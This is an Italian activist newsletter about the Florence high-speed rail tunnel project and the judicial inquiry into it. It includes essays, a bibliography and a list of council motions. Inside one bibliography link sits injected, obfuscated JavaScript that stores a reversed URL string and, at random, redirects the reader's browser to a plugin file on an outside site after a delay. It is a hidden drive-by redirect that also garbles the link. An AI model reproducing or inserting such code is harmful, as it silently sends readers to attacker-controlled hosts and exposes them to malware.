Dossier Tav a Firenze. I numeri e le parole di uno scandalo annunciato: non potevano non sapere

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Dossier Tav a Firenze. Ecco perché non potevano non sapere.

I numeri e le parole di uno scandalo annunciato

Cari/e amici/e,
abbiamo cominciato a occuparci del tunnel Tav sotto Firenze e della annessa stazione sotterranea a partire dal 2005 e da allora molte sono state le considerazioni critiche rivolte a un progetto già allora vecchio, impattante e dispendiosissimo (di fondi pubblici). Nel corso degli anni le cose sono peggiorate ma i nostri approfondimenti sono aumentati anche grazie agli esperti indipendentie agli attivisti del Comitato No Tunnel Tav di Firenze con cui abbiamo costantemente lavorato.Oggi, alla luce di quanto sta facendo emergere l’indagine della Magistratura che conferma i nostri dubbi e sostanzia le nostre obiezioni, sentiamo i vertici dei governi locali esprimere la loro sorpresa e affermare di aver fato il loro dovere. Davvero hanno fatto i dovuti controlli? Davvero non immaginavano che qualcosa non andava? Eppure c’era chi i dubbi li aveva sollevati e le domande le aveva rivolte. A parziale riprova di questo vi presentiamo le uscite che, solo negli ultimi 3 anni, cioè nel corso della gestione Renzi, la lista di cittadinanza perUnaltracittà ha fatto in Consiglio comunale. Qualche dubbio avrebbero dovuto averlo! Qualche approfondimento avrebbero dovuto farlo!

Vi invitiamo infine a partecipare al presidio per chiedere il blocco del progetto organizzato dal Comitato per giovedì 24 gennaio, dalle 17 alle 19, sotto le sedi di Regione, Provincia e Prefettura in via Cavour a Firenze.
Buona lettura,

Ornella

Il punto sulla Tav fiorentina dopo l’inchiesta della Procura sull’intreccio affari-politica-camorra
a cura della lista di cittadinanza perUnaltracittà

Dopo il terremoto giudiziario che ha investito i cantieri TAV di Firenze, immediate si sono levate le voci “istituzionali” del fronte Si TAV, tutte tese ad accreditare la teoria della “mela marcia”, che è un po’ come rievocare Mario Chiesa ed il Pio Albergo Trivulzio, tanto per fare un esercizio di memoria. Del resto non è un caso se Ivan Cicconi ha intitolato un suo libro sull’Alta Velocità “Storia del futuro di Tangentopoli”. RFI: “noi siamo parte lesa”; il Governatore Rossi: “porto in tribunale i responsabili”; più sobrio Renzi: “non parlo se c’è un’inchiesta in corso”. Purtroppo il fatto è che non ha parlato prima. E poi naturalmente “è un’opera strategica per il paese!”, “bisogna difendere il lavoro”, e via di questo passo. Opportuno allora tentare di fare chiarezza su questa & ldquo;grande opera” dalla storia ultradecennale, fortemente voluta dalle amministrazioni comunali (sindaci Primicerio, Domenici e Renzi) e regionali (Presidenti Chiti, Martini e Rossi), tutte riferibili al PDS – DS – PD, e con forti legami con il mondo delle cooperative, di cui fa parte Coopsette, capofila del raggruppamento che si è poi aggiudicato i lavori (Nodavia), potente cooperativa “rossa” emiliana, già interessata dalle inchieste di Tangentopoli per la metropolitana milanese. Si tratta, in estrema sintesi >>> continua a leggere qui http://bit.ly/Xwf97d

Adesso nessuno minimizzi. Si azzeri il progetto e si proceda con l’alternativa in superficie
di Ornella De Zordo

Nessuno deve minimizzare le implicazioni dei gravissimi capi di imputazione che stanno emergendo dall’indagine della Magistratura in merito ai lavori del sottoattraversamento AV del nodo fiorentino. Troppo facile dire, come hanno già fatto i vertici di Regione, Provincia e Comune, che i singoli vanno perseguiti ma che si deve procedere al più presto coi lavori. Persino RFI si considera “parte lesa” e invoca giustizia. Ma dove erano questi organi quando i profili di illegittimità, le criticità in corso d’opera e i rischi sottesi alla cantierizzazione venivano puntualmente indicati da esperti, attivisti e consiglieri? Le terre di scavo, la loro composizione, il trattamento e la destinazione; lo sforamento di rumore e il pericolo delle polveri per residenti e alunni delle scuole in zone a rischio; la corretta gestione delle acqua reflue; il funzionamento e cessazione dell’Osservatorio Ambientale: tutti aspetti su cui l’attenzione è stata posta ripetutamente anche con atti di consiglio e richieste esplicite. Ottenendo sempre risposte tranquillizzanti o generiche. Nessuno può dire però che non sapeva, se non altro perché i  problemi sono sempre stati divulgati e resi pubblici >>> continua a leggere qui http://bit.ly/13Wpi49

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I comunicati stampa di perUnaltracittà per denunciare e fermare lo scandaloso progetto.
Clicca qui per leggerli tutti:
http://bit.ly/13ZNsL4

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Bibliografia e sitografia essenziale sulla Tav fiorentina

– Valutazione del progetto del sottoattraversamento ferroviario della città di Firenze: verifica dello studio di impatto ambientale della linea ad alta velocità, Università di Firenze Laboratorio Progettazione Ecologica degli Insediamenti, Firenze 2007

– Disastro Tav, di Maurizio De Zordo, Edizioni Unaltracittà/Unaltromondo, Firenze 2009 http://bit.ly/YmHELg

– Tav sotto Firenze. Impatti, problemi, disastri, affari e l’alternativa possibile, a cura di Alberto Ziparo, Maurizio De Zordo, Giorgio Pizziolo, Edizioni Alinea, Firenze 2011 http://bit.ly/WUADdX

– No Tav d’Italia. Facce e ragioni dei cittadini che difendono il territorio, a cura di Anna Pizzo e Pierluigi Sullo, Edizioni Intra Moenia – Democrazia Kilometro Zero, Napoli 2012 http://bit.ly/Or7HLT

– Comitato No Tunnel Tav http://notavfirenze.blogspot.it
– Dossier Grandi opere e finanza  $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi-opere” target=”_blank”>http://www.recommon.org/il-business-delle-grandi-opere

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27 interrogazioni, 8 mozioni, 5 ordini del giorno in tre anni: ecco gli atti di perUnaltracittà presentati in Consiglio comunale e al Quartiere 5. Tutte le contraddizioni dell’inutile, pericoloso e costoso progettoTav. Oltre a innumerevoli domande di attualità che qui non compaiono perché non compaiono sul sito del Comune. PerMatteo Renzi è la sua giunta andava tutto bene…

INTERROGAZIONI NB: quando non c’è link della risposta si intende che è stata data in aula

1) http://soant.comune.fi.it/cgi-bin/consiglio/consatto-mdb.idc?rTIPOATTO=N&rATTO=00046&rANNO=2013

MOZIONI
ORDINI DEL GIORNO
ATTI AL QUARTIERE 5 (Grazie alla consigliera Adriana Alberici)

1) Mozione Punto Informativo TAV del 3.05.10
http://q5.comune.fi.it/materiali/q5/atti_q5/50036.pdf

2) OdG Movimentazione terre del 22.02.12
http://q5.comune.fi.it/materiali/q5/atti_q5/delibera_50009_2012.pdf

3) Mozione nodo fiorentino AV
http://q5.comune.fi.it/materiali/q5/atti_q5/deliberazione_50030_2012.pdf

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